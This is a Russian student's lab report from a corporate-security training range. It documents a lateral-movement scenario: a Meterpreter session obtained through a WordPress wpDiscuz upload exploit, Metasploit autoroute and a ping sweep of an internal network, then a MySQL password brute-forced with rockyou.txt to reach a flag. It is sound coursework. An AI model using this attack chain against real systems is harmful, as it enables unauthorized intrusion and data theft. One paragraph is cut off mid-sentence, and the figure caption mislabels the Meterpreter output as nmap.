

# Кибербезопасность предприятия

Лабораторная работа №5. Сценарий 6: Захват сервера базы данных

---

Оширова Юлия Николаевна

Российский университет дружбы народов, Москва, Россия

## Информация

---

- Оширова Юлия Николаевна
- студентка группы НФИбд-01-22
- Российский университет дружбы народов

## Выполнение лабораторной работы

---

# Выполнение лабораторной работы

```
meterpreter > getuid
Server username: www-data
meterpreter > ifconfig
[-] The "ifconfig" command is not supported by this Meterpreter type (php/linux)
meterpreter > ipconfig
[-] The "ipconfig" command is not supported by this Meterpreter type (php/linux)
meterpreter > run autoroute -s 10.10.10.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]
[*] Adding a route to 10.10.10.0/255.255.255.0 ...
[+] Added route to 10.10.10.0/255.255.255.0 via 195.239.174.25
[*] Use the -p option to list all active routes
meterpreter > run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24
[*] Performing ping sweep for IP range 10.10.10.0/24
[+] 10.10.10.5 host found
[+] 10.10.10.10 host found
[+] 10.10.10.15 host found
[+] 10.10.10.20 host found
[+] 10.10.10.21 host found
[+] 10.10.10.25 host found
[+] 10.10.10.30 host found
[+] 10.10.10.35 host found

[*] 195.239.174.25 - Meterpreter session 1 closed. Reason: Died
```

Рис. 1: Результат сканирования nmap для IP 195.239.174.25

На первом этапе выполнения лабораторной работы был проведён разведывательный анализ целевой сети. Для этого использовался инструмент nmap с флагами -sV (определение версии служб) и -sC (запуск стандартных скриптов). В результате сканирования было

## Выводы

---

В ходе выполнения лабораторной работы был успешно реализован сценарий захвата сервера базы данных в корпоративной сети. Атака началась с разведки целевого веб-сервера (`portal.ampire.corp`), на котором была обнаружена уязвимость в плагине WordPress `wpDiscuz`. С использованием эксплойта `wp_wpdiscuz_unauthenticated_file_upload` была получена `meterpreter`-сессия, что позволило проникнуть во внутреннюю сеть (`10.10.10.0/24`).

Далее, с помощью маршрутизации (`autoroute`) и `SOCKS`-прокси, был проведён скан внутренней сети, в результате которого был обнаружен сервер БД с открытым портом `3306` (`MySQL`). Используя скрипт `mysql_brute.sh` и словарь `rockyou.txt`, был подобран пароль для учётной записи `user` — `wildflower`.

После успешного подключения к `MySQL` был найден флаг в таблице `lmt0j` базы данных `Flag`, что подтвердило полное выполнение задачи.